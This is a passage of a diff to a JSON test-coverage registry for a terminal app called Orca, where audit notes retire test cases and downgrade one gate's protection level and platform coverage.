reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit1904 reduces persistence-pty-binding-reconciliation from six to four definitions, intentionally losing legacy remap-load and first-binding projection alarms. Current selector/testFile remains valid, with no selected-source assertionRef or active matching receipt. The six unchanged close/continuity receipts keep their exact original scope; no new broad gate or replacement evidence is claimed. Historical prior account (preserved verbatim): Audit1683 retires changed-source assertion and execution scope without equivalent replacement coverage. Existing unchanged-selector receipts remain scoped to their original sources. Historical prior-source oracle: Audit1674 retires changed-source assertion and execution scope without equivalent replacement coverage. Existing unchanged-selector receipts remain scoped to their original sources. Historical prior-source oracle: Existing exact unchanged-selector receipts remain the only current execution evidence. Changed source selectors have no fresh execution result. Historical prior-source oracle account: Existing exact unchanged-selector receipts remain the only current execution evidence. Changed source selectors have no fresh execution result. Historical prior-source oracle account: Capture exact tab, pane, PTY, handle, incarnation, and persisted layout identities. Final-pane terminal.close must invoke one durability-acknowledged tab retirement before exact PTY teardown; controlled PTY exit and graph removal afterward must remain idempotent, omit the target from persistence and provider inventory, and leave an unrelated canary handle live. terminal.closeAll must force-retire every pinned and unpinned target surface, clear its persisted agent-resume and incarnation records, await authoritative PTY exit, preserve a sibling worktree's tab, PTY, and resume authority, and return an unverifiable failure instead of claiming exit when the owning host does not confirm a stop. The ordinary path stays pending until the persisted row is removed and never falls back to the fire-and-forget pane event; reload/restart must keep the explicitly emptied worktree at zero terminal tabs and provider sessions. Reloading the renderer with the same tab/pane/PTY/incarnation must keep the handle readable; changing only the incarnation behind the same PTY id, losing the authoritative graph, or superseding the renderer handle with a preallocated handle must reject the old handle with terminal_handle_stale. Parked-close tests prove the exact PTY disappears; descendant/process tests keep natural exits reserved, upgrade teardown safely, bound/coalesce process-table work, and protect recycled identities.",
       "commands": [
         "pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/terminal/surface/orca-runtime-terminal-close-continuity.test.ts",
         "pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/construction/orca-runtime.test.ts",
@@ -6465,13 +6331,6 @@
             "pane authority transfer accepts only the canonical legacy/scoped runtime handle bound to the authoritative pane"
           ]
         },
-        {
-          "file": "src/renderer/src/store/slices/agent-status/agent-pane-authority.test.ts",
-          "assertions": [
-            "exact pane retirement removes resume and launch authority while preserving siblings",
-            "chained detach keeps physical hooks and resume authority routed to the current owner until that owner closes"
-          ]
-        },
         {
           "file": "src/main/runtime/workspaces/removal/worktree-teardown.test.ts",
           "assertions": [
@@ -6566,7 +6425,8 @@
         "Audit2056 (sources2054/2055): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime.test.ts: ordinary registration cleanup removes only await import('./orca-runtime-tests/mobile-session-tabs-part-14.spec'). src/main/runtime/orca-runtime-tests/terminal-side-effect-facts-part-03.spec.ts: arms the stale-title timer for a seeded working title; arms the Command Code scrape from the noted spawn command; prefers the tracked title over a stale renderer lastTitle in the hydration seed; writes recent output into the current runtime output map; uses a later title handler replacement with the runtime receiver; calls the current injected listener with the runtime receiver; keeps optional reconciliation lazy after its callback is removed. src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-14.spec.ts: lists them, so a paired client can mirror a migrated editor; closes one by retiring it from the host session; keeps an unsaved draft unless the close is forced; shares aggregate work but leaves a replacement pending promise alone; lets a targeted refresh finish while an aggregate refresh waits; refuses a close when the store lacks %s before the guard; keeps a later missing %s on the original caught failure path. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed.",
         "Audit2061 (sources2059/2060): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime.test.ts: ordinary registration cleanup removes only await import('./orca-runtime-tests/mobile-session-tabs-headless-chat-rebuild.spec'); await import('./orca-runtime-tests/mobile-session-tabs-cold-serve-hydrate.spec'); await import('./orca-runtime-tests/worktree-removal-execution-host.spec'); await import('./orca-runtime-tests/terminal-spawn-dispatch.spec'). src/main/runtime/orca-runtime-tests/headless-snapshots-part-02.spec.ts: replaces a cwd parsed before late WSL context with the provider cwd; keeps a live WSL cwd that arrives during late-context snapshot recovery; infers local reconstructed WSL context from a WSL UNC worktree; clears stale terminal file URI hostnames after empty-host OSC7 cwd updates; serializes SSH headless OSC7 cwd as POSIX when the desktop runtime is on Windows; keeps Windows SSH OSC7 cwd as a drive path when the desktop runtime is POSIX; serializes Windows SSH headless OSC7 cwd as a drive path on POSIX desktops; infers restored SSH connection identity from app-scoped PTY ids. src/main/runtime/orca-runtime-tests/mobile-session-tabs-headless-chat-rebuild.spec.ts: survives the rebuild that closing a saved editor tab forces; keeps its place in the tab order when the host lists the workspace again; lists tabs to phones in the order desktop clients draw after a rebuild; keeps the place a window gave a chat across a graph resend before the chat is restored. src/main/runtime/orca-runtime-tests/mobile-session-tabs-cold-serve-hydrate.spec.ts: lists every persisted terminal of a windowless host after a cold restart; lists every persisted terminal in the all-worktrees inventory after a cold restart; lists persisted editor tabs beside the terminals after a cold restart; restores a persisted split group layout on the cold rebuild; restores the saved active group of a split even when it is not the first group; falls back to the active tab group when the saved active group was not restored; keeps the headless group active when there is no persisted split; keeps phone and CLI creates in the group they joined across a cold restart. src/main/runtime/orca-runtime-tests/worktree-removal-failed-retry.spec.ts: lists the leftover with its error, though Git no longer does; takes the normal delete once Git registers a checkout at the path again; joins a retry another client started while this Delete listed Git; shows the failed row with its error, not the scan cached before the delete. src/main/runtime/orca-runtime-tests/worktree-removal-execution-host.spec.ts: refuses an SSH row whose host is unreachable instead of deleting here; refuses a runtime row with no nested SSH target rather than deleting locally; refuses a runtime row that also names a nested SSH target; retains runtime purge dispatch in a recovery job; uses the runtime helper override before resuming an interrupted removal; uses the runtime helper override before retrying a failed removal; captures the watcher callback and retains its job-host receiver; reads the current runtime removal queue. src/main/runtime/orca-runtime-tests/terminal-spawn-dispatch.spec.ts: reports the spawn request before it leaves for the pty controller; reports it even when the spawn itself then fails; does not report it when the create fails before any spawn request; captures the admission method before reading the incarnation; captures the record method before evaluating its state object; skips database payload serialization when no database exists; skips a throwing database payload when no database exists; keeps the database method and receiver captured before its payload; captures the canonical map method before a binding getter changes it; completes the captured replacement fence without another map lookup. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed.",
         "Module layout policy correction: retire the remaining program-status-osc.spec.ts event-projection case (production/mock-derived pane-key oracle) and sign-in timeout case (real setTimeout wait with Date-only fake clocks). The runtime test registrar no longer imports that file. No replacement coverage or fresh execution is claimed for these losses; historical receipts retain their original source scope.",
-        "Module layout policy correction: retire the two remaining worktree-ps-agent-row-dismissal.spec.ts registrations. The remint/dismissal/exit case computed expected snapshotVersion increments from a production snapshot and used real-clock vi.waitFor; the legacy OSC case derived its expected paneKey from the production layout-owner switch. The runtime registrar no longer imports this file. These public projection scenarios have no replacement coverage or fresh execution claimed; all historical receipts and earlier loss notes retain their original source scope."
+        "Module layout policy correction: retire the two remaining worktree-ps-agent-row-dismissal.spec.ts registrations. The remint/dismissal/exit case computed expected snapshotVersion increments from a production snapshot and used real-clock vi.waitFor; the legacy OSC case derived its expected paneKey from the production layout-owner switch. The runtime registrar no longer imports this file. These public projection scenarios have no replacement coverage or fresh execution claimed; all historical receipts and earlier loss notes retain their original source scope.",
+        "Audit3323 (reconciled source audit3320) intentionally retires seven low-value renderer authority/retirement examples: retires one pane, clears resume authority, and rejects late status without harming siblings — Late status reviving a retired pane, sibling damage, or resume authority left behind.; can retire live pane authority while retaining its sleeping session — Retiring live authority accidentally dropping a retained sleeping session.; keeps a physical pane routed through chained detaches until its current owner closes — Chained detach alias routing broken after original owner closes, or alias survives final close.; forgets routing aliases for purged tabs — Purged-tab routing aliases lingering.; retires split, relay, deferred, and pending sessions for a parked tab — Split, relay, deferred or pending session omitted from teardown, sleeping-record sibling damaged, parked disposer skipped.; retires parked ownership before teardown and sweeps published state before unified close — Parked cleanup/provider teardown/state removal/sweep/unified-close ordering changes.; starts mixed provider teardown and classifies both rejection kinds after synchronous retirement — Mixed teardown failures blocking retirement, or local/runtime warning counts misclassified.. Remove the exact-pane-retirement and chained-detach assertion references because their source cases are gone. Other retained cases do not replace these alarms. Preserve all dated evidenceRuns and prior history with their original source scope; no fresh execution or historical import-closure equivalence is claimed."
       ],
       "demotionRule": "Keep experimental or demote to protection none if exact PTY disappearance flakes, a sibling/detached pane is retired, late hooks can recreate closed authority, or a renderer graph sync retires a host-created tab that no explicit close retired."
     },
@@ -7058,6 +6918,9 @@
         "Keep disjoint provider inventories, refresh isolation, launch authority, and bounded in-flight state green."
       ],
       "knownGaps": [
+        "NEXT65 current scope qualification: The NEXT65 knownGaps entries below govern the changed selectors and qualify any broader coverage implication in this gate’s unchanged oracle/coverageNotes narratives. Those narratives and preserved dated evidenceRuns retain their historical text and original exact execution scopes only; no fresh execution, transferred pass or equivalent replacement coverage is claimed. Upstream case removals remain upstream; original NEXT65 proposal descriptions grant no duplicate retirement credit.",
+        "NEXT65 active selector scope reduction (including directory-selected whole-file retirements): src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-spawn-and-startup.test.ts. Remove complete registrations or registrar files within the selected scope for src/renderer/src/components/terminal-pane/pty-connection/spawn/pty-connection-split-spawn.spec.ts. Intentionally lose these named regression alarms without replacement: clears the mobile-fit pane binding when the pane connection is disposed — Pane dispose clearing the mobile-fit binding and PTY dataset loses this direct example.; continues post-spawn size reconcile after a transient mobile presence lock — Size reconciliation continuing after a transient phone-presence lock loses this direct example.; spawns the delayed primary pane of an issue-command split when its sibling owns the tab PTY fallback — Delayed primary split spawning independently after a sibling acquires tab fallback loses this direct example.; does not reuse a sibling split pane pending spawn after remount — Remounted primary adopting its own pending PTY rather than the sibling spawn loses this direct example.; replays a stable-pane adoption without submitting the resume command — Stable-pane adoption replay preserving replay-before-live ordering and suppressing resume command loses this direct example.; forwards focus and hover reports without claiming a parked mirror (#26469) — Passive focus/hover forwarding without stealing mirror ownership, then intended Ctrl+C/click claiming, loses this direct example.. Surviving parent statements and sibling registrations are preserved, but these reduced parent selectors have no fresh execution or transferred historical pass. Unrelated complete dated receipts retain only their original exact scopes; no equivalent replacement, rendered UI, provider, mobile, or cross-platform coverage is claimed.",
+        "NEXT65 historical original active parent-selector fields (verbatim native JSON values; not current coverage):\ncommands: [\n        \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/hooks/useDetectedAgents.test.tsx src/renderer/src/store/slices/agent-inventory/detected-agents.test.ts src/renderer/src/store/slices/agent-inventory/local-detected-agent-state.test.ts src/renderer/src/store/project-groups/repos-project-group-create-race.test.ts src/renderer/src/store/project-groups/repos-project-groups-delete.test.ts src/renderer/src/store/project-groups/repos-project-groups-owner-routing.test.ts src/renderer/src/store/projects/repos-project-host-capability.test.ts src/renderer/src/store/projects/repos-project-host-lifecycle.test.ts src/renderer/src/store/repos/repos-remove-project-purge-leak.test.ts src/renderer/src/store/repos/repos-update-serialization.test.ts src/renderer/src/lib/agent-session/launch/new-tab/launch-agent-in-new-tab.test.ts --reporter=verbose\",\n        \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-spawn-and-startup.test.ts --reporter=dot\",\n        \"Headed Electron/CDP STA-4027 journey on Orca environment windows 2 with a selected Ubuntu-24.04 WSL project and local Floating Workspace\"\n      ]\ntestFiles: [\n        \"src/renderer/src/hooks/useDetectedAgents.test.tsx\",\n        \"src/renderer/src/store/slices/agent-inventory/detected-agents.test.ts\",\n        \"src/renderer/src/store/slices/agent-inventory/local-detected-agent-state.test.ts\",\n        \"src/renderer/src/store/project-groups/repos-project-group-create-race.test.ts\",\n        \"src/renderer/src/store/project-groups/repos-project-groups-delete.test.ts\",\n        \"src/renderer/src/store/project-groups/repos-project-groups-owner-routing.test.ts\",\n        \"src/renderer/src/store/projects/repos-project-host-capability.test.ts\",\n        \"src/renderer/src/store/projects/repos-project-host-lifecycle.test.ts\",\n        \"src/renderer/src/store/repos/repos-remove-project-purge-leak.test.ts\",\n        \"src/renderer/src/store/repos/repos-update-serialization.test.ts\",\n        \"src/renderer/src/lib/agent-session/launch/new-tab/launch-agent-in-new-tab.test.ts\",\n        \"src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-spawn-and-startup.test.ts\"\n      ]\nassertionRefs: [\n        {\n          \"file\": \"src/renderer/src/hooks/useDetectedAgents.test.tsx\",\n          \"assertions\": [\n            \"the active WSL project advertises only its WSL agent while Floating advertises only the native-host agent\",\n            \"Floating refresh preserves both scoped inventories and does not overwrite the legacy active-project inventory\"\n          ]\n        },\n        {\n          \"file\": \"src/renderer/src/store/slices/agent-inventory/local-detected-agent-state.test.ts\",\n          \"assertions\": [\n            \"same-context callers deduplicate without cached broadcast fanout\",\n            \"refresh supersedes stale detection and failed cold refresh remains retryable\",\n            \"project removal evicts in-flight context state\"\n          ]\n        },\n        {\n          \"file\": \"src/renderer/src/store/repos/repos-remove-project-purge-leak.test.ts\",\n          \"assertions\": [\n            \"removing one project evicts its authority-scoped agent inventory without disturbing another project\"\n          ]\n        },\n        {\n          \"file\": \"src/renderer/src/lib/agent-session/launch/new-tab/launch-agent-in-new-tab.test.ts\",\n          \"assertions\": [\n            \"the advertised Floating agent launches in a Floating tab with null runtime ownership and no paired-runtime create call\"\n          ]\n        }\n      ]",
         "Audit3069 retires nominal spawn/resume/banner wiring, first-fit and lookup-budget variants, private pending-map checks, the split-CWD disposal suite and startup command/draft baseline variants. Distinct regression alarms are intentionally lost without equivalent replacement; retained ownership, cancellation and recovery cases remain. Existing selectors and dated evidence retain their original scope. The retired Floating local IPC/WSL routing alias is removed; the separate StrictMode pending-spawn adoption alias remains.",
         "Audit3061 retires the park-model supplied snapshot suite and nominal mode, cursor, focus, geometry and remote resume metadata variants. Their distinct alarms are intentionally lost; six retained mode/remote cases preserve selected tail-order, authority and parse-readiness boundaries without equivalent replacement. Existing selectors and dated evidence retain their original scope.",
         "Audit2133 current-parent preparation (988 authored removals; independently reviewed2099/2107/2115/2116 decisions; upstream clear-buffer and recovery-image regressions retained): Intentionally retire these low-value alarms without replacement: src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-spawn-and-startup.test.ts: remove only literal registration import/call pairs import { registerPtyConnectionTerminalBellAttentionTests } from '../notifications/pty-connection-terminal-bell-attention.spec', registerPtyConnectionTerminalBellAttentionTests(); no additional authored credit. src/renderer/src/components/terminal-pane/pty-connection/notifications/pty-connection-terminal-bell-attention.spec.ts: forwards onBell to pane attention and notification policy; hands the bell to the attention module with its pane even when pane attention is off. Current changed source bytes, wrapper registrations and reduced selectors have no fresh execution or red/green credit. Unrelated surviving receipt objects keep their original narrow scope; current literal graph reachability does not establish historical import closure or equivalent replacement coverage. Current conservative command/import graph reaches src/renderer/src/components/terminal-pane/pty-connection/tests/pty-connection-spawn-and-startup.test.ts, src/renderer/src/components/terminal-pane/pty-connection/notifications/pty-connection-terminal-bell-attention.spec.ts. Unresolved local/computed edges remain explicit debt.",
@@ -7137,7 +7000,7 @@
       "id": "agent-session.provider-ownership",
       "title": "Provider sessions are resumed once per workspace ownership claim",
       "maturity": "experimental",
-      "protection": "partial",
+      "protection": "none",
       "owner": "agent-session",
       "layer": "cross-boundary",
       "surfaces": [
@@ -7150,9 +7013,9 @@
       ],
       "platforms": ["macos", "linux", "windows"],
       "providers": ["local", "daemon", "ssh", "wsl", "remote-runtime"],
-      "coveredPlatforms": ["macos"],
-      "coveredProviders": ["local", "daemon", "remote-runtime"],
-      "coverageNotes": "Audit2236: pane-fit.test.ts is reduced to terminal-identity reveal, stale-handle replacement ownership and withheld-animation-frame completion. The existing withheld-frame assertion remains exact; additional scheduling/breadcrumb, cancellation, display-none and synthetic metric examples are removed. No new execution or equivalent replacement coverage is claimed. Historical dated receipts and budgets are preserved verbatim and do not validate these reduced source bytes. Historical prior account (preserved verbatim): Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit1685 removes low-value test projections, mock wiring, private-state assertions, inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained public behavior and refusal boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1683 removes low-value test projections, mock wiring, private-state assertions, inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained public behavior and refusal boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1640 removes low-value IPC, SSH, workspace and transcript-watcher tests without equivalent replacement coverage. Per-source reviews record retained public refusal, cancellation, execution-host and real-filesystem outcomes with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1627 removes low-value mocked daemon projections, scalar tables and duplicate terminal examples without equivalent replacement coverage. Per-source reviews record retained terminal content preservation, process ownership refusal and recovery boundaries together with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1623 removes low-value mocked daemon projections, scalar tables and duplicate terminal examples without equivalent replacement coverage. Per-source reviews record retained terminal content preservation, process ownership refusal and recovery boundaries together with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Retained exact unchanged-source receipts remain the only current execution evidence. Reduced selectors have no fresh execution result. Audit1417 intentionally deletes src/renderer/src/components/terminal-pane/pty-connection-hidden-tui-snapshot-replay.spec.ts: Loses rich hidden snapshot sequence replay/grid resize and forced repaint after hidden snapshot alarms, including live-trigger deduplication. No equivalent replacement coverage or fresh result is claimed. Historical coverage account: Renderer ownership/dedupe contracts cover provider-session claims. Local and daemon attach-only contracts prove an existing stable-pane owner is adopted without provider creation, while remote-runtime transport contracts preserve adopted ownership through cancellation. The Electron oracle covers a local macOS runtime and daemon with real agent, Setup, and unrelated-canary processes; SSH, WSL, paired-server, Linux, and Windows remain contract-only or unrun. Audit1383: src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts reduced. Lose command-list/receipt/default/background activation matrices whose provider spawn returns canned IDs. Retained test proves actual tab allocation separation, not terminal startup. No equivalent replacement coverage is claimed. Existing exact unaffected receipts and their platform/provider/budget claims remain scoped to unchanged selectors. Changed optional selectors have no new execution result. Audit1391: src/renderer/src/components/terminal-pane/pty-connection-remote-pause-drop-notice.spec.ts reduced. Lose repeated quiet switches avoiding snapshots and legacy host without drop-report capability requesting a snapshot. Retained imported registrar uses fake transport/xterm writes, exercising real gap/restore lifecycle rather than actual terminal rendering. No equivalent replacement coverage is claimed. The existing primary-selector receipt and its claims remain scoped to their unchanged sources; the broad optional command has no new execution result. Audit1401: src/main/runtime/orca-runtime-tests/mobile-session-tabs-duplicate-pty-repair.spec.ts removed. Loses listing-on-already-repaired-data alarm; it never established runtime repair invocation. src/main/runtime/orca-runtime-tests/mobile-session-tabs-split-agent-tab.spec.ts removed. Loses actual mobile split sibling shell versus recorded-agent resume command alarms; no equivalent coverage asserted. src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts removed. Loses separate setup/startup tab result in that manually assembled path. src/main/runtime/orca-runtime.test.ts reduced. Driver registration/import of a whole-deleted selected spec is removed; directly authored cases remain unchanged. No extra authored removal credit. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result.",
+      "coveredPlatforms": [],
+      "coveredProviders": [],
+      "coverageNotes": "Audit3368 retires whole sleeping-agent-resume and host-session-launch suites: provider-claim/deduplication, stable-pane reattach, recipe/WSL startup, callback/cancel/create-close and compatibility examples are intentionally lost without equivalent replacement. The sole dated receipt is retired verbatim. With no active evidence, protection/platform/provider evidence clears and ALL commands/testFiles/assertionRefs are retired as complete original arrays in historical gaps, including selectors of surviving other sources; those sources remain in the broad suite. Prior red/green/flake accounts are historical only. No fresh runtime/provider/process/UI/mobile/mixed-version/cross-platform evidence is claimed. Audit2236: pane-fit.test.ts is reduced to terminal-identity reveal, stale-handle replacement ownership and withheld-animation-frame completion. The existing withheld-frame assertion remains exact; additional scheduling/breadcrumb, cancellation, display-none and synthetic metric examples are removed. No new execution or equivalent replacement coverage is claimed. Historical dated receipts and budgets are preserved verbatim and do not validate these reduced source bytes. Historical prior account (preserved verbatim): Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit1685 removes low-value test projections, mock wiring, private-state assertions, inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained public behavior and refusal boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1683 removes low-value test projections, mock wiring, private-state assertions, inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained public behavior and refusal boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1640 removes low-value IPC, SSH, workspace and transcript-watcher tests without equivalent replacement coverage. Per-source reviews record retained public refusal, cancellation, execution-host and real-filesystem outcomes with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1627 removes low-value mocked daemon projections, scalar tables and duplicate terminal examples without equivalent replacement coverage. Per-source reviews record retained terminal content preservation, process ownership refusal and recovery boundaries together with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1623 removes low-value mocked daemon projections, scalar tables and duplicate terminal examples without equivalent replacement coverage. Per-source reviews record retained terminal content preservation, process ownership refusal and recovery boundaries together with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Retained exact unchanged-source receipts remain the only current execution evidence. Reduced selectors have no fresh execution result. Audit1417 intentionally deletes src/renderer/src/components/terminal-pane/pty-connection-hidden-tui-snapshot-replay.spec.ts: Loses rich hidden snapshot sequence replay/grid resize and forced repaint after hidden snapshot alarms, including live-trigger deduplication. No equivalent replacement coverage or fresh result is claimed. Historical coverage account: Renderer ownership/dedupe contracts cover provider-session claims. Local and daemon attach-only contracts prove an existing stable-pane owner is adopted without provider creation, while remote-runtime transport contracts preserve adopted ownership through cancellation. The Electron oracle covers a local macOS runtime and daemon with real agent, Setup, and unrelated-canary processes; SSH, WSL, paired-server, Linux, and Windows remain contract-only or unrun. Audit1383: src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts reduced. Lose command-list/receipt/default/background activation matrices whose provider spawn returns canned IDs. Retained test proves actual tab allocation separation, not terminal startup. No equivalent replacement coverage is claimed. Existing exact unaffected receipts and their platform/provider/budget claims remain scoped to unchanged selectors. Changed optional selectors have no new execution result. Audit1391: src/renderer/src/components/terminal-pane/pty-connection-remote-pause-drop-notice.spec.ts reduced. Lose repeated quiet switches avoiding snapshots and legacy host without drop-report capability requesting a snapshot. Retained imported registrar uses fake transport/xterm writes, exercising real gap/restore lifecycle rather than actual terminal rendering. No equivalent replacement coverage is claimed. The existing primary-selector receipt and its claims remain scoped to their unchanged sources; the broad optional command has no new execution result. Audit1401: src/main/runtime/orca-runtime-tests/mobile-session-tabs-duplicate-pty-repair.spec.ts removed. Loses listing-on-already-repaired-data alarm; it never established runtime repair invocation. src/main/runtime/orca-runtime-tests/mobile-session-tabs-split-agent-tab.spec.ts removed. Loses actual mobile split sibling shell versus recorded-agent resume command alarms; no equivalent coverage asserted. src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts removed. Loses separate setup/startup tab result in that manually assembled path. src/main/runtime/orca-runtime.test.ts reduced. Driver registration/import of a whole-deleted selected spec is removed; directly authored cases remain unchanged. No extra authored removal credit. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result.",
       "motivatingLinks": [
         "https://github.com/stablyai/orca/pull/6800",
         "https://github.com/stablyai/orca/pull/5240",
@@ -7162,100 +7025,22 @@
         "https://github.com/stablyai/orca/pull/11819"
       ],
       "invariant": "Workspace activation, launch, restore, sleep, hibernate, dedupe, clearing, mount, remount, and reconnect code must not replay or resume a provider session id already owned, queued, pending, live, or durably bound to a host PTY in that workspace. A renderer with missing projection state must adopt the exact runtime-owned PTY for the original tab and leaf rather than create a replacement.",
-      "oracle": "Current assertionRefs retain separate provider-session non-replay and exact-PTY adoption checks in resume-sleeping-agent-session, completed-worker-retirement-resume, remote-runtime-pty-transport-host-session-launch and live-background-terminal-mount-authority. This batch changes only pane-fit's contribution: its three surviving cases check terminal-identity reveal, stale-handle replacement and withheld-frame completion; they do not prove provider-session ownership or exact-PTY adoption. Other assertionRefs and selectors remain unchanged; no fresh execution of those separate contracts is claimed. Audit2236: pane-fit.test.ts is reduced to terminal-identity reveal, stale-handle replacement ownership and withheld-animation-frame completion. The existing withheld-frame assertion remains exact; additional scheduling/breadcrumb, cancellation, display-none and synthetic metric examples are removed. No new execution or equivalent replacement coverage is claimed. Historical dated receipts and budgets are preserved verbatim and do not validate these reduced source bytes. Historical prior account (preserved verbatim): Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. 